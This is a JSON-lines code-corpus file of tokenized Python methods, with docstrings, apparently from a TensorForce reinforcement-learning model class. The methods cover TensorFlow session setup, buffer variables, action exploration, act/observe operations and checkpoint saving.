{"signature": "def setup_scaffold(self):", "body": "if self.execution_type == \"<STR_LIT>\":<EOL><INDENT>global_variables = self.get_variables(include_submodules=True, include_nontrainable=True)<EOL>init_op = tf.variables_initializer(var_list=global_variables)<EOL>if self.summarizer_init_op is not None:<EOL><INDENT>init_op = tf.group(init_op, self.summarizer_init_op)<EOL><DEDENT>if self.graph_summary is None:<EOL><INDENT>ready_op = tf.report_uninitialized_variables(var_list=global_variables)<EOL>ready_for_local_init_op = None<EOL>local_init_op = None<EOL><DEDENT>else:<EOL><INDENT>ready_op = None<EOL>ready_for_local_init_op = tf.report_uninitialized_variables(var_list=global_variables)<EOL>local_init_op = self.graph_summary<EOL><DEDENT><DEDENT>else:<EOL><INDENT>global_variables = self.global_model.get_variables(include_submodules=True, include_nontrainable=True)<EOL>local_variables = self.get_variables(include_submodules=True, include_nontrainable=True)<EOL>init_op = tf.variables_initializer(var_list=global_variables)<EOL>if self.summarizer_init_op is not None:<EOL><INDENT>init_op = tf.group(init_op, self.summarizer_init_op)<EOL><DEDENT>ready_op = tf.report_uninitialized_variables(var_list=(global_variables + local_variables))<EOL>ready_for_local_init_op = tf.report_uninitialized_variables(var_list=global_variables)<EOL>if self.graph_summary is None:<EOL><INDENT>local_init_op = tf.group(<EOL>tf.variables_initializer(var_list=local_variables),<EOL>*(tf.assign(ref=local_var, value=global_var) for local_var, global_var in zip(<EOL>self.get_variables(include_submodules=True),<EOL>self.global_model.get_variables(include_submodules=True)<EOL>))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>local_init_op = tf.group(<EOL>tf.variables_initializer(var_list=local_variables),<EOL>self.graph_summary,<EOL>*(tf.assign(ref=local_var, value=global_var) for local_var, global_var in zip(<EOL>self.get_variables(include_submodules=True),<EOL>self.global_model.get_variables(include_submodules=True)<EOL>))<EOL>)<EOL><DEDENT><DEDENT>def init_fn(scaffold, session):<EOL><INDENT>if self.saver_spec is not None and self.saver_spec.get('<STR_LIT>', True):<EOL><INDENT>directory = self.saver_spec['<STR_LIT>']<EOL>file = self.saver_spec.get('<STR_LIT:file>')<EOL>if file is None:<EOL><INDENT>file = tf.train.latest_checkpoint(<EOL>checkpoint_dir=directory,<EOL>latest_filename=None  <EOL>)<EOL><DEDENT>elif not os.path.isfile(file):<EOL><INDENT>file = os.path.join(directory, file)<EOL><DEDENT>if file is not None:<EOL><INDENT>try:<EOL><INDENT>scaffold.saver.restore(sess=session, save_path=file)<EOL>session.run(fetches=self.list_buffer_index_reset_op)<EOL><DEDENT>except tf.errors.NotFoundError:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.scaffold = tf.train.Scaffold(<EOL>init_op=init_op,<EOL>init_feed_dict=None,<EOL>init_fn=init_fn,<EOL>ready_op=ready_op,<EOL>ready_for_local_init_op=ready_for_local_init_op,<EOL>local_init_op=local_init_op,<EOL>summary_op=None,<EOL>saver=self.saver,<EOL>copy_from_scaffold=None<EOL>)<EOL>", "docstring": "Creates the tf.train.Scaffold object and assigns it to self.scaffold.\nOther fields of the Scaffold are generated automatically.", "id": "f14275:c0:m7"}
{"signature": "def setup_hooks(self):", "body": "hooks = list()<EOL>if self.saver_spec is not None and (self.execution_type == '<STR_LIT>' or self.distributed_spec['<STR_LIT>'] == <NUM_LIT:0>):<EOL><INDENT>self.saver_directory = self.saver_spec['<STR_LIT>']<EOL>hooks.append(tf.train.CheckpointSaverHook(<EOL>checkpoint_dir=self.saver_directory,<EOL>save_secs=self.saver_spec.get('<STR_LIT>', None if '<STR_LIT>' in self.saver_spec else <NUM_LIT>),<EOL>save_steps=self.saver_spec.get('<STR_LIT>'),  <EOL>saver=None,  <EOL>checkpoint_basename=self.saver_spec.get('<STR_LIT>', '<STR_LIT>'),<EOL>scaffold=self.scaffold,<EOL>listeners=None<EOL>))<EOL><DEDENT>else:<EOL><INDENT>self.saver_directory = None<EOL><DEDENT>return hooks<EOL>", "docstring": "Creates and returns a list of hooks to use in a session. Populates self.saver_directory.\n\nReturns: List of hooks to use in a session.", "id": "f14275:c0:m8"}
{"signature": "def setup_session(self, server, hooks, graph_default_context):", "body": "if self.execution_type == \"<STR_LIT>\":<EOL><INDENT>session_creator = tf.train.ChiefSessionCreator(<EOL>scaffold=self.scaffold,<EOL>master=server.target,<EOL>config=self.session_config,<EOL>checkpoint_dir=None,<EOL>checkpoint_filename_with_path=None<EOL>)<EOL>self.monitored_session = tf.train.MonitoredSession(<EOL>session_creator=session_creator,<EOL>hooks=hooks,<EOL>stop_grace_period_secs=<NUM_LIT>  <EOL>)<EOL>if self.tf_session_dump_dir != \"<STR_LIT>\":<EOL><INDENT>self.monitored_session = DumpingDebugWrapperSession(self.monitored_session, self.tf_session_dump_dir)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.monitored_session = tf.train.SingularMonitoredSession(<EOL>hooks=hooks,<EOL>scaffold=self.scaffold,<EOL>master='<STR_LIT>',  <EOL>config=self.session_config,  <EOL>checkpoint_dir=None<EOL>)<EOL><DEDENT>if graph_default_context:<EOL><INDENT>graph_default_context.__exit__(None, None, None)<EOL><DEDENT>self.graph.finalize()<EOL>self.monitored_session.__enter__()<EOL>self.session = self.monitored_session._tf_sess()<EOL>", "docstring": "Creates and then enters the session for this model (finalizes the graph).\n\nArgs:\n    server (tf.train.Server): The tf.train.Server object to connect to (None for single execution).\n    hooks (list): A list of (saver, summary, etc..) hooks to be passed to the session.\n    graph_default_context: The graph as_default() context that we are currently in.", "id": "f14275:c0:m9"}
{"signature": "def close(self):", "body": "if self.flush_summarizer is not None:<EOL><INDENT>self.monitored_session.run(fetches=self.flush_summarizer)<EOL><DEDENT>if self.saver_directory is not None:<EOL><INDENT>self.save(append_timestep=True)<EOL><DEDENT>self.monitored_session.__exit__(None, None, None)<EOL>", "docstring": "Saves the model (of saver dir is given) and closes the session.", "id": "f14275:c0:m10"}
{"signature": "def tf_initialize(self):", "body": "<EOL>with tf.device(device_name_or_function=(self.global_model.device if self.global_model else self.device)):<EOL><INDENT>collection = self.graph.get_collection(name='<STR_LIT>')<EOL>if len(collection) == <NUM_LIT:0>:<EOL><INDENT>self.global_timestep = tf.get_variable(<EOL>name='<STR_LIT>',<EOL>shape=(),<EOL>dtype=tf.int64,<EOL>trainable=False,<EOL>initializer=tf.constant_initializer(value=<NUM_LIT:0>, dtype=tf.int64),<EOL>collections=['<STR_LIT>', tf.GraphKeys.GLOBAL_STEP]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert len(collection) == <NUM_LIT:1><EOL>self.global_timestep = collection[<NUM_LIT:0>]<EOL><DEDENT>collection = self.graph.get_collection(name='<STR_LIT>')<EOL>if len(collection) == <NUM_LIT:0>:<EOL><INDENT>self.global_episode = tf.get_variable(<EOL>name='<STR_LIT>',<EOL>shape=(),<EOL>dtype=tf.int64,<EOL>trainable=False,<EOL>initializer=tf.constant_initializer(value=<NUM_LIT:0>, dtype=tf.int64),<EOL>collections=['<STR_LIT>']<EOL>)<EOL><DEDENT>else:<EOL><INDENT>assert len(collection) == <NUM_LIT:1><EOL>self.global_episode = collection[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>self.timestep = tf.get_variable(<EOL>name='<STR_LIT>',<EOL>shape=(),<EOL>dtype=tf.int64,<EOL>initializer=tf.constant_initializer(value=<NUM_LIT:0>, dtype=tf.int64),<EOL>trainable=False<EOL>)<EOL>self.episode = tf.get_variable(<EOL>name='<STR_LIT>',<EOL>shape=(),<EOL>dtype=tf.int64,<EOL>initializer=tf.constant_initializer(value=<NUM_LIT:0>, dtype=tf.int64),<EOL>trainable=False<EOL>)<EOL>self.episode_index_input = tf.placeholder(<EOL>name='<STR_LIT>',<EOL>shape=(),<EOL>dtype=tf.int32,<EOL>)<EOL>for name in sorted(self.states_spec):<EOL><INDENT>self.list_states_buffer[name] = tf.get_variable(<EOL>name=('<STR_LIT>'.format(name)),<EOL>shape=((self.num_parallel, self.batching_capacity,) + tuple(self.states_spec[name]['<STR_LIT>'])),<EOL>dtype=util.tf_dtype(self.states_spec[name]['<STR_LIT:type>']),<EOL>trainable=False<EOL>)<EOL><DEDENT>for name in sorted(self.internals_spec):<EOL><INDENT>self.list_internals_buffer[name] = tf.get_variable(<EOL>name=('<STR_LIT>'.format(name)),<EOL>shape=((self.num_parallel, self.batching_capacity,) + tuple(self.internals_spec[name]['<STR_LIT>'])),<EOL>dtype=util.tf_dtype(self.internals_spec[name]['<STR_LIT:type>']),<EOL>trainable=False<EOL>)<EOL><DEDENT>for name in sorted(self.actions_spec):<EOL><INDENT>self.list_actions_buffer[name]= tf.get_variable(<EOL>name=('<STR_LIT>'.format(name)),<EOL>shape=((self.num_parallel, self.batching_capacity,) + tuple(self.actions_spec[name]['<STR_LIT>'])),<EOL>dtype=util.tf_dtype(self.actions_spec[name]['<STR_LIT:type>']),<EOL>trainable=False<EOL>)<EOL><DEDENT>self.list_buffer_index = tf.get_variable(<EOL>name='<STR_LIT>',<EOL>shape=(self.num_parallel,),<EOL>dtype=util.tf_dtype('<STR_LIT:int>'),<EOL>trainable=False<EOL>)<EOL>", "docstring": "Creates tf Variables for the local state/internals/action-buffers and for the local and global counters\nfor timestep and episode.", "id": "f14275:c0:m12"}
{"signature": "def tf_preprocess(self, states, actions, reward):", "body": "<EOL>for name in sorted(self.states_preprocessing):<EOL><INDENT>states[name] = self.states_preprocessing[name].process(tensor=states[name])<EOL><DEDENT>if self.reward_preprocessing is not None:<EOL><INDENT>reward = self.reward_preprocessing.process(tensor=reward)<EOL><DEDENT>return states, actions, reward<EOL>", "docstring": "Applies preprocessing ops to the raw states/action/reward inputs.\n\nArgs:\n    states (dict): Dict of raw state tensors.\n    actions (dict): Dict or raw action tensors.\n    reward: 1D (float) raw rewards tensor.\n\nReturns: The preprocessed versions of the input tensors.", "id": "f14275:c0:m13"}
{"signature": "def tf_action_exploration(self, action, exploration, action_spec):", "body": "action_shape = tf.shape(input=action)<EOL>exploration_value = exploration.tf_explore(<EOL>episode=self.global_episode,<EOL>timestep=self.global_timestep,<EOL>shape=action_spec['<STR_LIT>']<EOL>)<EOL>exploration_value = tf.expand_dims(input=exploration_value, axis=<NUM_LIT:0>)<EOL>if action_spec['<STR_LIT:type>'] == '<STR_LIT:bool>':<EOL><INDENT>action = tf.where(<EOL>condition=(tf.random_uniform(shape=action_shape) < exploration_value),<EOL>x=(tf.random_uniform(shape=action_shape) < <NUM_LIT:0.5>),<EOL>y=action<EOL>)<EOL><DEDENT>elif action_spec['<STR_LIT:type>'] == '<STR_LIT:int>':<EOL><INDENT>action = tf.where(<EOL>condition=(tf.random_uniform(shape=action_shape) < exploration_value),<EOL>x=tf.random_uniform(shape=action_shape, maxval=action_spec['<STR_LIT>'], dtype=util.tf_dtype('<STR_LIT:int>')),<EOL>y=action<EOL>)<EOL><DEDENT>elif action_spec['<STR_LIT:type>'] == '<STR_LIT:float>':<EOL><INDENT>noise = tf.random_normal(shape=action_shape, dtype=util.tf_dtype('<STR_LIT:float>'))<EOL>action += noise * exploration_value<EOL>if '<STR_LIT>' in action_spec:<EOL><INDENT>action = tf.clip_by_value(<EOL>t=action,<EOL>clip_value_min=action_spec['<STR_LIT>'],<EOL>clip_value_max=action_spec['<STR_LIT>']<EOL>)<EOL><DEDENT><DEDENT>return action<EOL>", "docstring": "Applies optional exploration to the action (post-processor for action outputs).\n\nArgs:\n     action (tf.Tensor): The original output action tensor (to be post-processed).\n     exploration (Exploration): The Exploration object to use.\n     action_spec (dict): Dict specifying the action space.\nReturns:\n    The post-processed action output tensor.", "id": "f14275:c0:m14"}
{"signature": "def tf_actions_and_internals(self, states, internals, deterministic):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates and returns the TensorFlow operations for retrieving the actions and - if applicable -\nthe posterior internal state Tensors in reaction to the given input states (and prior internal states).\n\nArgs:\n    states (dict): Dict of state tensors (each key represents one state space component).\n    internals (dict): Dict of internal state tensors (each key represents one internal space component).\n    deterministic: Boolean tensor indicating whether action should be chosen\n        deterministically.\n\nReturns:\n    tuple:\n        1) dict of output actions (with or without exploration applied (see `deterministic`))\n        2) list of posterior internal state Tensors (empty for non-internal state models)", "id": "f14275:c0:m15"}
{"signature": "def tf_observe_timestep(self, states, internals, actions, terminal, reward):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the TensorFlow operations for processing a batch of observations coming in from our buffer (state,\naction, internals) as well as from the agent's python-batch (terminal-signals and rewards from the env).\n\nArgs:\n    states (dict): Dict of state tensors (each key represents one state space component).\n    internals (dict): Dict of prior internal state tensors (each key represents one internal state component).\n    actions (dict): Dict of action tensors (each key represents one action space component).\n    terminal: 1D (bool) tensor of terminal signals.\n    reward: 1D (float) tensor of rewards.\n\nReturns:\n    The observation operation depending on the model type.", "id": "f14275:c0:m16"}
{"signature": "def create_act_operations(self, states, internals, deterministic, independent, index):", "body": "<EOL>operations = list()<EOL>if self.variable_noise is not None and self.variable_noise > <NUM_LIT:0.0>:<EOL><INDENT>self.fn_actions_and_internals(<EOL>states=states,<EOL>internals=internals,<EOL>deterministic=deterministic<EOL>)<EOL>noise_deltas = list()<EOL>for variable in self.get_variables():<EOL><INDENT>noise_delta = tf.random_normal(shape=util.shape(variable), mean=<NUM_LIT:0.0>, stddev=self.variable_noise)<EOL>noise_deltas.append(noise_delta)<EOL>operations.append(variable.assign_add(delta=noise_delta))<EOL><DEDENT><DEDENT>with tf.control_dependencies(control_inputs=operations):<EOL><INDENT>self.actions_output, self.internals_output = self.fn_actions_and_internals(<EOL>states=states,<EOL>internals=internals,<EOL>deterministic=deterministic<EOL>)<EOL><DEDENT>with tf.control_dependencies(control_inputs=[self.actions_output[name] for name in sorted(self.actions_output)]):<EOL><INDENT>operations = list()<EOL>if self.variable_noise is not None and self.variable_noise > <NUM_LIT:0.0>:<EOL><INDENT>for variable, noise_delta in zip(self.get_variables(), noise_deltas):<EOL><INDENT>operations.append(variable.assign_sub(delta=noise_delta))<EOL><DEDENT><DEDENT><DEDENT>with tf.control_dependencies(control_inputs=operations):<EOL><INDENT>for name in sorted(self.actions_exploration):<EOL><INDENT>self.actions_output[name] = tf.cond(<EOL>pred=self.deterministic_input,<EOL>true_fn=(lambda: self.actions_output[name]),<EOL>false_fn=(lambda: self.fn_action_exploration(<EOL>action=self.actions_output[name],<EOL>exploration=self.actions_exploration[name],<EOL>action_spec=self.actions_spec[name]<EOL>))<EOL>)<EOL><DEDENT><DEDENT>def independent_act():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return self.global_timestep<EOL><DEDENT>def normal_act():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>operations = list()<EOL>batch_size = tf.shape(input=states[next(iter(sorted(states)))])[<NUM_LIT:0>]<EOL>for name in sorted(states):<EOL><INDENT>operations.append(tf.assign(<EOL>ref=self.list_states_buffer[name][index, self.list_buffer_index[index]: self.list_buffer_index[index] + batch_size],<EOL>value=states[name]<EOL>))<EOL><DEDENT>for name in sorted(internals):<EOL><INDENT>operations.append(tf.assign(<EOL>ref=self.list_internals_buffer[name][index, self.list_buffer_index[index]: self.list_buffer_index[index] + batch_size],<EOL>value=internals[name]<EOL>))<EOL><DEDENT>for name in sorted(self.actions_output):<EOL><INDENT>operations.append(tf.assign(<EOL>ref=self.list_actions_buffer[name][index, self.list_buffer_index[index]: self.list_buffer_index[index] + batch_size],<EOL>value=self.actions_output[name]<EOL>))<EOL><DEDENT>with tf.control_dependencies(control_inputs=operations):<EOL><INDENT>operations = list()<EOL>operations.append(tf.assign(<EOL>ref=self.list_buffer_index[index: index+<NUM_LIT:1>],<EOL>value=tf.add(self.list_buffer_index[index: index+<NUM_LIT:1>], tf.constant([<NUM_LIT:1>]))<EOL>))<EOL>operations.append(tf.assign_add(<EOL>ref=self.timestep,<EOL>value=tf.to_int64(x=batch_size)<EOL>))<EOL>operations.append(tf.assign_add(<EOL>ref=self.global_timestep,<EOL>value=tf.to_int64(x=batch_size)<EOL>))<EOL><DEDENT>with tf.control_dependencies(control_inputs=operations):<EOL><INDENT>return self.global_timestep + <NUM_LIT:0><EOL><DEDENT><DEDENT>self.timestep_output = tf.cond(<EOL>pred=independent,<EOL>true_fn=independent_act,<EOL>false_fn=normal_act<EOL>)<EOL>", "docstring": "Creates and stores tf operations that are fetched when calling act(): actions_output, internals_output and\ntimestep_output.\n\nArgs:\n    states (dict): Dict of state tensors (each key represents one state space component).\n    internals (dict): Dict of prior internal state tensors (each key represents one internal state component).\n    deterministic: 0D (bool) tensor (whether to not use action exploration).\n    independent (bool): 0D (bool) tensor (whether to store states/internals/action in local buffer).", "id": "f14275:c0:m17"}
{"signature": "def create_observe_operations(self, terminal, reward, index):", "body": "<EOL>num_episodes = tf.count_nonzero(input_tensor=terminal, dtype=util.tf_dtype('<STR_LIT:int>'))<EOL>increment_episode = tf.assign_add(ref=self.episode, value=tf.to_int64(x=num_episodes))<EOL>increment_global_episode = tf.assign_add(ref=self.global_episode, value=tf.to_int64(x=num_episodes))<EOL>with tf.control_dependencies(control_inputs=(increment_episode, increment_global_episode)):<EOL><INDENT>fn = (lambda x: tf.stop_gradient(input=x[:self.list_buffer_index[index]]))<EOL>states = util.map_tensors(fn=fn, tensors=self.list_states_buffer, index=index)<EOL>internals = util.map_tensors(fn=fn, tensors=self.list_internals_buffer, index=index)<EOL>actions = util.map_tensors(fn=fn, tensors=self.list_actions_buffer, index=index)<EOL>terminal = tf.stop_gradient(input=terminal)<EOL>reward = tf.stop_gradient(input=reward)<EOL>observation = self.fn_observe_timestep(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(observation,)):<EOL><INDENT>reset_index = tf.assign(ref=self.list_buffer_index[index], value=<NUM_LIT:0>)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(reset_index,)):<EOL><INDENT>self.episode_output = self.global_episode + <NUM_LIT:0><EOL><DEDENT>self.list_buffer_index_reset_op = tf.group(<EOL>*(tf.assign(ref=self.list_buffer_index[n], value=<NUM_LIT:0>) for n in range(self.num_parallel))<EOL>)<EOL>", "docstring": "Returns the tf op to fetch when an observation batch is passed in (e.g. an episode's rewards and\nterminals). Uses the filled tf buffers for states, actions and internals to run\nthe tf_observe_timestep (model-dependent), resets buffer index and increases counters (episodes,\ntimesteps).\n\nArgs:\n    terminal: The 1D tensor (bool) of terminal signals to process (more than one True within that list is ok).\n    reward: The 1D tensor (float) of rewards to process.\n\nReturns: Tf op to fetch when `observe()` is called.", "id": "f14275:c0:m18"}
{"signature": "def create_atomic_observe_operations(self, states, actions, internals, terminal, reward, index):", "body": "<EOL>num_episodes = tf.count_nonzero(input_tensor=terminal, dtype=util.tf_dtype('<STR_LIT:int>'))<EOL>increment_episode = tf.assign_add(ref=self.episode, value=tf.to_int64(x=num_episodes))<EOL>increment_global_episode = tf.assign_add(ref=self.global_episode, value=tf.to_int64(x=num_episodes))<EOL>with tf.control_dependencies(control_inputs=(increment_episode, increment_global_episode)):<EOL><INDENT>states = util.map_tensors(fn=tf.stop_gradient, tensors=states)<EOL>internals = util.map_tensors(fn=tf.stop_gradient, tensors=internals)<EOL>actions = util.map_tensors(fn=tf.stop_gradient, tensors=actions)<EOL>terminal = tf.stop_gradient(input=terminal)<EOL>reward = tf.stop_gradient(input=reward)<EOL>observation = self.fn_observe_timestep(<EOL>states=states,<EOL>internals=internals,<EOL>actions=actions,<EOL>terminal=terminal,<EOL>reward=reward<EOL>)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(observation,)):<EOL><INDENT>self.unbuffered_episode_output = self.global_episode + <NUM_LIT:0><EOL><DEDENT>", "docstring": "Returns the tf op to fetch when unbuffered observations are passed in.\n\nArgs:\n    states (any): One state (usually a value tuple) or dict of states if multiple states are expected.\n    actions (any): One action (usually a value tuple) or dict of states if multiple actions are expected.\n    internals (any): Internal list.\n    terminal (bool): boolean indicating if the episode terminated after the observation.\n    reward (float): scalar reward that resulted from executing the action.\n\nReturns: Tf op to fetch when `observe()` is called.", "id": "f14275:c0:m19"}
{"signature": "def create_operations(self, states, internals, actions, terminal, reward, deterministic, independent, index):", "body": "self.create_act_operations(<EOL>states=states,<EOL>internals=internals,<EOL>deterministic=deterministic,<EOL>independent=independent,<EOL>index=index<EOL>)<EOL>self.create_observe_operations(<EOL>reward=reward,<EOL>terminal=terminal,<EOL>index=index<EOL>)<EOL>self.create_atomic_observe_operations(<EOL>states=states,<EOL>actions=actions,<EOL>internals=internals,<EOL>reward=reward,<EOL>terminal=terminal,<EOL>index=index<EOL>)<EOL>", "docstring": "Creates and stores tf operations for when `act()` and `observe()` are called.", "id": "f14275:c0:m20"}
{"signature": "def get_variables(self, include_submodules=False, include_nontrainable=False):", "body": "if include_nontrainable:<EOL><INDENT>model_variables = [self.all_variables[key] for key in sorted(self.all_variables)]<EOL>states_preprocessing_variables = [<EOL>variable for name in sorted(self.states_preprocessing)<EOL>for variable in self.states_preprocessing[name].get_variables()<EOL>]<EOL>model_variables += states_preprocessing_variables<EOL>actions_exploration_variables = [<EOL>variable for name in sorted(self.actions_exploration)<EOL>for variable in self.actions_exploration[name].get_variables()<EOL>]<EOL>model_variables += actions_exploration_variables<EOL>if self.reward_preprocessing is not None:<EOL><INDENT>reward_preprocessing_variables = self.reward_preprocessing.get_variables()<EOL>model_variables += reward_preprocessing_variables<EOL><DEDENT><DEDENT>else:<EOL><INDENT>model_variables = [self.variables[key] for key in sorted(self.variables)]<EOL><DEDENT>return model_variables<EOL>", "docstring": "Returns the TensorFlow variables used by the model.\n\nArgs:\n    include_submodules: Includes variables of submodules (e.g. baseline, target network)\n        if true.\n    include_nontrainable: Includes non-trainable variables if true.\n\nReturns:\n    List of variables.", "id": "f14275:c0:m21"}
{"signature": "def reset(self):", "body": "fetches = [self.global_episode, self.global_timestep]<EOL>for name in sorted(self.states_preprocessing):<EOL><INDENT>fetch = self.states_preprocessing[name].reset()<EOL>if fetch is not None:<EOL><INDENT>fetches.extend(fetch)<EOL><DEDENT><DEDENT>if self.flush_summarizer is not None:<EOL><INDENT>fetches.append(self.flush_summarizer)<EOL><DEDENT>fetch_list = self.monitored_session.run(fetches=fetches)<EOL>episode, timestep = fetch_list[:<NUM_LIT:2>]<EOL>return episode, timestep, self.internals_init<EOL>", "docstring": "Resets the model to its initial state on episode start. This should also reset all preprocessor(s).\n\nReturns:\n    tuple:\n        Current episode, timestep counter and the shallow-copied list of internal state initialization Tensors.", "id": "f14275:c0:m22"}
{"signature": "def get_feed_dict(<EOL>self,<EOL>states=None,<EOL>internals=None,<EOL>actions=None,<EOL>terminal=None,<EOL>reward=None,<EOL>deterministic=None,<EOL>independent=None,<EOL>index=None<EOL>):", "body": "feed_dict = dict()<EOL>batched = None<EOL>if states is not None:<EOL><INDENT>if batched is None:<EOL><INDENT>name = next(iter(states))<EOL>state = np.asarray(states[name])<EOL>batched = (state.ndim != len(self.states_spec[name]['<STR_LIT>']))<EOL><DEDENT>if batched:<EOL><INDENT>feed_dict.update({self.states_input[name]: states[name] for name in sorted(self.states_input)})<EOL><DEDENT>else:<EOL><INDENT>feed_dict.update({self.states_input[name]: (states[name],) for name in sorted(self.states_input)})<EOL><DEDENT><DEDENT>if internals is not None:<EOL><INDENT>if batched is None:<EOL><INDENT>name = next(iter(internals))<EOL>internal = np.asarray(internals[name])<EOL>batched = (internal.ndim != len(self.internals_spec[name]['<STR_LIT>']))<EOL><DEDENT>if batched:<EOL><INDENT>feed_dict.update({self.internals_input[name]: internals[name] for name in sorted(self.internals_input)})<EOL><DEDENT>else:<EOL><INDENT>feed_dict.update({self.internals_input[name]: (internals[name],) for name in sorted(self.internals_input)})<EOL><DEDENT><DEDENT>if actions is not None:<EOL><INDENT>if batched is None:<EOL><INDENT>name = next(iter(actions))<EOL>action = np.asarray(actions[name])<EOL>batched = (action.ndim != len(self.actions_spec[name]['<STR_LIT>']))<EOL><DEDENT>if batched:<EOL><INDENT>feed_dict.update({self.actions_input[name]: actions[name] for name in sorted(self.actions_input)})<EOL><DEDENT>else:<EOL><INDENT>feed_dict.update({self.actions_input[name]: (actions[name],) for name in sorted(self.actions_input)})<EOL><DEDENT><DEDENT>if terminal is not None:<EOL><INDENT>if batched is None:<EOL><INDENT>terminal = np.asarray(terminal)<EOL>batched = (terminal.ndim == <NUM_LIT:1>)<EOL><DEDENT>if batched:<EOL><INDENT>feed_dict[self.terminal_input] = terminal<EOL><DEDENT>else:<EOL><INDENT>feed_dict[self.terminal_input] = (terminal,)<EOL><DEDENT><DEDENT>if reward is not None:<EOL><INDENT>if batched is None:<EOL><INDENT>reward = np.asarray(reward)<EOL>batched = (reward.ndim == <NUM_LIT:1>)<EOL><DEDENT>if batched:<EOL><INDENT>feed_dict[self.reward_input] = reward<EOL><DEDENT>else:<EOL><INDENT>feed_dict[self.reward_input] = (reward,)<EOL><DEDENT><DEDENT>if deterministic is not None:<EOL><INDENT>feed_dict[self.deterministic_input] = deterministic<EOL><DEDENT>if independent is not None:<EOL><INDENT>feed_dict[self.independent_input] = independent<EOL><DEDENT>feed_dict[self.episode_index_input] = index<EOL>return feed_dict<EOL>", "docstring": "Returns the feed-dict for the model's acting and observing tf fetches.\n\nArgs:\n    states (dict): Dict of state values (each key represents one state space component).\n    internals (dict): Dict of internal state values (each key represents one internal state component).\n    actions (dict): Dict of actions (each key represents one action space component).\n    terminal (List[bool]): List of is-terminal signals.\n    reward (List[float]): List of reward signals.\n    deterministic (bool): Whether actions should be picked without exploration.\n    independent (bool): Whether we are doing an independent act (not followed by call to observe;\n        not to be stored in model's buffer).\n\nReturns: The feed dict to use for the fetch.", "id": "f14275:c0:m23"}
{"signature": "def act(self, states, internals, deterministic=False, independent=False, fetch_tensors=None, index=<NUM_LIT:0>):", "body": "name = next(iter(states))<EOL>state = np.asarray(states[name])<EOL>batched = (state.ndim != len(self.states_spec[name]['<STR_LIT>']))<EOL>if batched:<EOL><INDENT>assert state.shape[<NUM_LIT:0>] <= self.batching_capacity<EOL><DEDENT>fetches = [self.actions_output, self.internals_output, self.timestep_output]<EOL>if self.network is not None and fetch_tensors is not None:<EOL><INDENT>for name in fetch_tensors:<EOL><INDENT>valid, tensor = self.network.get_named_tensor(name)<EOL>if valid:<EOL><INDENT>fetches.append(tensor)<EOL><DEDENT>else:<EOL><INDENT>keys = self.network.get_list_of_named_tensor()<EOL>raise TensorForceError('<STR_LIT>'.format(name, keys))<EOL><DEDENT><DEDENT><DEDENT>feed_dict = self.get_feed_dict(<EOL>states=states,<EOL>internals=internals,<EOL>deterministic=deterministic,<EOL>independent=independent,<EOL>index=index<EOL>)<EOL>fetch_list = self.monitored_session.run(fetches=fetches, feed_dict=feed_dict)<EOL>actions, internals, timestep = fetch_list[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>if not batched:<EOL><INDENT>actions = {name: actions[name][<NUM_LIT:0>] for name in sorted(actions)}<EOL>internals = {name: internals[name][<NUM_LIT:0>] for name in sorted(internals)}<EOL><DEDENT>if self.network is not None and fetch_tensors is not None:<EOL><INDENT>fetch_dict = dict()<EOL>for index_, tensor in enumerate(fetch_list[<NUM_LIT:3>:]):<EOL><INDENT>name = fetch_tensors[index_]<EOL>fetch_dict[name] = tensor<EOL><DEDENT>return actions, internals, timestep, fetch_dict<EOL><DEDENT>else:<EOL><INDENT>return actions, internals, timestep<EOL><DEDENT>", "docstring": "Does a forward pass through the model to retrieve action (outputs) given inputs for state (and internal\nstate, if applicable (e.g. RNNs))\n\nArgs:\n    states (dict): Dict of state values (each key represents one state space component).\n    internals (dict): Dict of internal state values (each key represents one internal state component).\n    deterministic (bool): If True, will not apply exploration after actions are calculated.\n    independent (bool): If true, action is not followed by observe (and hence not included\n        in updates).\n    fetch_tensors (list): List of names of additional tensors (from the model's network) to fetch (and return).\n    index: (int) index of the episode we want to produce the next action\n\nReturns:\n    tuple:\n        - Actual action-outputs (batched if state input is a batch).\n        - Actual values of internal states (if applicable) (batched if state input is a batch).\n        - The timestep (int) after calculating the (batch of) action(s).", "id": "f14275:c0:m24"}
{"signature": "def observe(self, terminal, reward, index=<NUM_LIT:0>):", "body": "fetches = self.episode_output<EOL>feed_dict = self.get_feed_dict(terminal=terminal, reward=reward, index=index)<EOL>episode = self.monitored_session.run(fetches=fetches, feed_dict=feed_dict)<EOL>return episode<EOL>", "docstring": "Adds an observation (reward and is-terminal) to the model without updating its trainable variables.\n\nArgs:\n    terminal (List[bool]): List of is-terminal signals.\n    reward (List[float]): List of reward signals.\n    index: (int) parallel episode you want to observe\n\nReturns:\n    The value of the model-internal episode counter.", "id": "f14275:c0:m25"}
{"signature": "def save(self, directory=None, append_timestep=True):", "body": "if self.flush_summarizer is not None:<EOL><INDENT>self.monitored_session.run(fetches=self.flush_summarizer)<EOL><DEDENT>return self.saver.save(<EOL>sess=self.session,<EOL>save_path=(self.saver_directory if directory is None else directory),<EOL>global_step=(self.global_timestep if append_timestep else None),<EOL>meta_graph_suffix='<STR_LIT>',<EOL>write_meta_graph=True,<EOL>write_state=True<EOL>)<EOL>", "docstring": "Save TensorFlow model. If no checkpoint directory is given, the model's default saver\ndirectory is used. Optionally appends current timestep to prevent overwriting previous\ncheckpoint files. Turn off to be able to load model from the same given path argument as\ngiven here.\n\nArgs:\n    directory: Optional checkpoint directory.\n    append_timestep: Appends the current timestep to the checkpoint file if true.\n\nReturns:\n    Checkpoint path where the model was saved.", "id": "f14275:c0:m27"}
